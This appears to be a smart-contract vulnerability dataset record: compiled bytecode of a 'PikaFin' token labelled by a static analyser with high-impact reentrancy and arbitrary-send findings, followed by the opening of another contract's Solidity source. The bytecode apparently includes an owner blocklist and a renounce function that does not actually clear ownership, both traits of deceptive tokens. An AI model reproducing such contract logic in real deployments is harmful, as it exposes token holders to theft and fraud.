c57600080fd5b5061043760048036038101906104329190612d31565b611272565b005b34801561044557600080fd5b50610460600480360381019061045b9190612b4e565b6113ba565b60405161046d9190613351565b60405180910390f35b61047e611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610502906132b1565b60405180910390fd5b60005b81518110156105c2576001600a6000848481518110610556577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105ba90613679565b91505061050e565b5050565b60606040518060400160405280601681526020017f50696b6146696e207c20742e6d652f70696b6166696e00000000000000000000815250905090565b6000610617610610611441565b8484611449565b6001905092915050565b6000670de0b6b3a7640000905090565b600061063e848484611614565b6106ff8461064a611441565b6106fa85604051806060016040528060288152602001613ab360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b0611441565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd39092919063ffffffff16565b611449565b600190509392505050565b610712611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610796906132b1565b60405180910390fd5b600f60149054906101000a900460ff16156107ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e6906131f1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061087e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611449565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c457600080fd5b505afa1580156108d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fc9190612b25565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095e57600080fd5b505afa158015610972573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109969190612b25565b6040518363ffffffff1660e01b81526004016109b3929190613080565b602060405180830381600087803b1580156109cd57600080fd5b505af11580156109e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a059190612b25565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a8e30610e81565b600080610a996110c2565b426040518863ffffffff1660e01b8152600401610abb969594939291906130d2565b6060604051808303818588803b158015610ad457600080fd5b505af1158015610ae8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b0d9190612d5a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550660c6f3b40b6c0006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c0e9291906130a9565b602060405180830381600087803b158015610c2857600080fd5b505af1158015610c3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c609190612d08565b5050565b60006009905090565b610c75611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf9906132b1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610d27611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab906132b1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e50611441565b73ffffffffffffffffffffffffffffffffffffffff1614610e7057600080fd5b6000479050610e7e81611e37565b50565b6000610ecb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f58565b9050919050565b610eda611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5e906132b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610fec611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611079576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611070906132b1565b60405180910390fd5b7fd14e7a08b703c0d081e7504c249b31b5b328896add43e1af9600dfa66fa3d6b08686868686866040516110b296959493929190613133565b60405180910390a1505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f50494b4146494e00000000000000000000000000000000000000000000000000815250905090565b611130611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b4906132b1565b60405180910390fd5b6001600f60176101000a81548160ff021916908315150217905550565b60006111ee6111e7611441565b8484611614565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611239611441565b73ffffffffffffffffffffffffffffffffffffffff161461125957600080fd5b600061126430610e81565b905061126f81611fc6565b50565b61127a611441565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe906132b1565b60405180910390fd5b6000811161134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190613271565b60405180910390fd5b611378606461136a83670de0b6b3a76400006122c090919063ffffffff16565b61233b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516113af9190613351565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b090613311565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152090613231565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116079190613351565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167b906132f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116eb906131d1565b60405180910390fd5b60008111611737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172e906132d1565b60405180910390fd5b61173f6110c2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ad575061177d6110c2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d1057600f60179054906101000a900460ff16156119e0573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561182f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118895750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119df57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611929611441565b73ffffffffffffffffffffffffffffffffffffffff16148061199f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611987611441565b73ffffffffffffffffffffffffffffffffffffffff16145b6119de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d590613331565b60405180910390fd5b5b5b6010548111156119ef57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a935750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a9c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b475750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bb55750600f60179054906101000a900460ff165b15611c565742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c0557600080fd5b600a42611c129190613487565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611c6130610e81565b9050600f60159054906101000a900460ff16158015611cce5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ce65750600f60169054906101000a900460ff165b15611d0e57611cf481611fc6565b60004790506000811115611d0c57611d0b47611e37565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611db75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611dc157600090505b611dcd84848484612385565b50505050565b6000838311158290611e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1291906131af565b60405180910390fd5b5060008385611e2a9190613568565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e9a600a611e8c60068661233b90919063ffffffff16565b6122c090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ec5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f29600a611f1b60048661233b90919063ffffffff16565b6122c090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f54573d6000803e3d6000fd5b5050565b6000600654821115611f9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9690613211565b60405180910390fd5b6000611fa96123b2565b9050611fbe818461233b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612024577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120525781602001602082028036833780820191505090505b5090503081600081518110612090577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561213257600080fd5b505afa158015612146573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061216a9190612b25565b816001815181106121a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061220b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611449565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161226f95949392919061336c565b600060405180830381600087803b15801561228957600080fd5b505af115801561229d573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156122d35760009050612335565b600082846122e1919061350e565b90508284826122f091906134dd565b14612330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232790613291565b60405180910390fd5b809150505b92915050565b600061237d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123dd565b905092915050565b8061239357612392612440565b5b61239e848484612471565b806123ac576123ab61263c565b5b50505050565b60008060006123bf61264e565b915091506123d6818361233b90919063ffffffff16565b9250505090565b60008083118290612424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241b91906131af565b60405180910390fd5b506000838561243391906134dd565b9050809150509392505050565b600060085414801561245457506000600954145b1561245e5761246f565b600060088190555060006009819055505b565b600080600080600080612483876126ad565b9550955095509550955095506124e186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061257685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125c2816127bd565b6125cc848361287a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126299190613351565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000670de0b6b3a76400009050612682670de0b6b3a764000060065461233b90919063ffffffff16565b8210156126a057600654670de0b6b3a76400009350935050506126a9565b81819350935050505b9091565b60008060008060008060008060006126ca8a6008546009546128b4565b92509250925060006126da6123b2565b905060008060006126ed8e87878761294a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061275783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dd3565b905092915050565b600080828461276e9190613487565b9050838110156127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa90613251565b60405180910390fd5b8091505092915050565b60006127c76123b2565b905060006127de82846122c090919063ffffffff16565b905061283281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61288f8260065461271590919063ffffffff16565b6006819055506128aa8160075461275f90919063ffffffff16565b6007819055505050565b6000806000806128e060646128d2888a6122c090919063ffffffff16565b61233b90919063ffffffff16565b9050600061290a60646128fc888b6122c090919063ffffffff16565b61233b90919063ffffffff16565b9050600061293382612925858c61271590919063ffffffff16565b61271590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061296385896122c090919063ffffffff16565b9050600061297a86896122c090919063ffffffff16565b9050600061299187896122c090919063ffffffff16565b905060006129ba826129ac858761271590919063ffffffff16565b61271590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129e66129e184613406565b6133e1565b90508083825260208201905082856020860282011115612a0557600080fd5b60005b85811015612a355781612a1b8882612a3f565b845260208401935060208301925050600181019050612a08565b5050509392505050565b600081359050612a4e81613a56565b92915050565b600081519050612a6381613a56565b92915050565b600081359050612a7881613a6d565b92915050565b600082601f830112612a8f57600080fd5b8135612a9f8482602086016129d3565b91505092915050565b600081359050612ab781613a84565b92915050565b600081519050612acc81613a84565b92915050565b600081359050612ae181613a9b565b92915050565b600081519050612af681613a9b565b92915050565b600060208284031215612b0e57600080fd5b6000612b1c84828501612a3f565b91505092915050565b600060208284031215612b3757600080fd5b6000612b4584828501612a54565b91505092915050565b60008060408385031215612b6157600080fd5b6000612b6f85828601612a3f565b9250506020612b8085828601612a3f565b9150509250929050565b600080600060608486031215612b9f57600080fd5b6000612bad86828701612a3f565b9350506020612bbe86828701612a3f565b9250506040612bcf86828701612ad2565b9150509250925092565b60008060408385031215612bec57600080fd5b6000612bfa85828601612a3f565b9250506020612c0b85828601612ad2565b9150509250929050565b60008060008060008060c08789031215612c2e57600080fd5b6000612c3c89828a01612a3f565b9650506020612c4d89828a01612ad2565b9550506040612c5e89828a01612ad2565b9450506060612c6f89828a01612a69565b9350506080612c8089828a01612aa8565b92505060a0612c9189828a01612a69565b9150509295509295509295565b600060208284031215612cb057600080fd5b600082013567ffffffffffffffff811115612cca57600080fd5b612cd684828501612a7e565b91505092915050565b600060208284031215612cf157600080fd5b6000612cff84828501612aa8565b91505092915050565b600060208284031215612d1a57600080fd5b6000612d2884828501612abd565b91505092915050565b600060208284031215612d4357600080fd5b6000612d5184828501612ad2565b91505092915050565b600080600060608486031215612d6f57600080fd5b6000612d7d86828701612ae7565b9350506020612d8e86828701612ae7565b9250506040612d9f86828701612ae7565b9150509250925092565b6000612db58383612dd0565b60208301905092915050565b612dca816135ae565b82525050565b612dd98161359c565b82525050565b612de88161359c565b82525050565b6000612df982613442565b612e038185613465565b9350612e0e83613432565b8060005b83811015612e3f578151612e268882612da9565b9750612e3183613458565b925050600181019050612e12565b5085935050505092915050565b612e55816135c0565b82525050565b612e6481613603565b82525050565b6000612e758261344d565b612e7f8185613476565b9350612e8f818560208601613615565b612e988161374f565b840191505092915050565b6000612eb0602383613476565b9150612ebb82613760565b604082019050919050565b6000612ed3601a83613476565b9150612ede826137af565b602082019050919050565b6000612ef6602a83613476565b9150612f01826137d8565b604082019050919050565b6000612f19602283613476565b9150612f2482613827565b604082019050919050565b6000612f3c601b83613476565b9150612f4782613876565b602082019050919050565b6000612f5f601d83613476565b9150612f6a8261389f565b602082019050919050565b6000612f82602183613476565b9150612f8d826138c8565b604082019050919050565b6000612fa5602083613476565b9150612fb082613917565b602082019050919050565b6000612fc8602983613476565b9150612fd382613940565b604082019050919050565b6000612feb602583613476565b9150612ff68261398f565b604082019050919050565b600061300e602483613476565b9150613019826139de565b604082019050919050565b6000613031601183613476565b915061303c82613a2d565b602082019050919050565b613050816135ec565b82525050565b61305f816135f6565b82525050565b600060208201905061307a6000830184612ddf565b92915050565b60006040820190506130956000830185612ddf565b6130a26020830184612ddf565b9392505050565b60006040820190506130be6000830185612ddf565b6130cb6020830184613047565b9392505050565b600060c0820190506130e76000830189612ddf565b6130f46020830188613047565b6131016040830187612e5b565b61310e6060830186612e5b565b61311b6080830185612ddf565b61312860a0830184613047565b979650505050505050565b600060c0820190506131486000830189612ddf565b6131556020830188613047565b6131626040830187613047565b61316f6060830186612dc1565b61317c6080830185612e4c565b61318960a0830184612dc1565b979650505050505050565b60006020820190506131a96000830184612e4c565b92915050565b600060208201905081810360008301526131c98184612e6a565b905092915050565b600060208201905081810360008301526131ea81612ea3565b9050919050565b6000602082019050818103600083015261320a81612ec6565b9050919050565b6000602082019050818103600083015261322a81612ee9565b9050919050565b6000602082019050818103600083015261324a81612f0c565b9050919050565b6000602082019050818103600083015261326a81612f2f565b9050919050565b6000602082019050818103600083015261328a81612f52565b9050919050565b600060208201905081810360008301526132aa81612f75565b9050919050565b600060208201905081810360008301526132ca81612f98565b9050919050565b600060208201905081810360008301526132ea81612fbb565b9050919050565b6000602082019050818103600083015261330a81612fde565b9050919050565b6000602082019050818103600083015261332a81613001565b9050919050565b6000602082019050818103600083015261334a81613024565b9050919050565b60006020820190506133666000830184613047565b92915050565b600060a0820190506133816000830188613047565b61338e6020830187612e5b565b81810360408301526133a08186612dee565b90506133af6060830185612ddf565b6133bc6080830184613047565b9695505050505050565b60006020820190506133db6000830184613056565b92915050565b60006133eb6133fc565b90506133f78282613648565b919050565b6000604051905090565b600067ffffffffffffffff82111561342157613420613720565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613492826135ec565b915061349d836135ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134d2576134d16136c2565b5b828201905092915050565b60006134e8826135ec565b91506134f3836135ec565b925082613503576135026136f1565b5b828204905092915050565b6000613519826135ec565b9150613524836135ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561355d5761355c6136c2565b5b828202905092915050565b6000613573826135ec565b915061357e836135ec565b925082821015613591576135906136c2565b5b828203905092915050565b60006135a7826135cc565b9050919050565b60006135b9826135cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061360e826135ec565b9050919050565b60005b83811015613633578082015181840152602081019050613618565b83811115613642576000848401525b50505050565b6136518261374f565b810181811067ffffffffffffffff821117156136705761366f613720565b5b80604052505050565b6000613684826135ec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136b7576136b66136c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613a5f8161359c565b8114613a6a57600080fd5b50565b613a76816135ae565b8114613a8157600080fd5b50565b613a8d816135c0565b8114613a9857600080fd5b50565b613aa4816135ec565b8114613aaf57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5851d3060a88260a13a1f28d1b2fa444eff35b9bdb9058983427b442fa8c76664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,606
0x88717CeFdEc4e65dcA26832C146B9375f2B6d7E4
// SPDX-License-Identifier: MIT pragma experimental ABIEncoderV2; pragma solidity 0.6.12; // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit 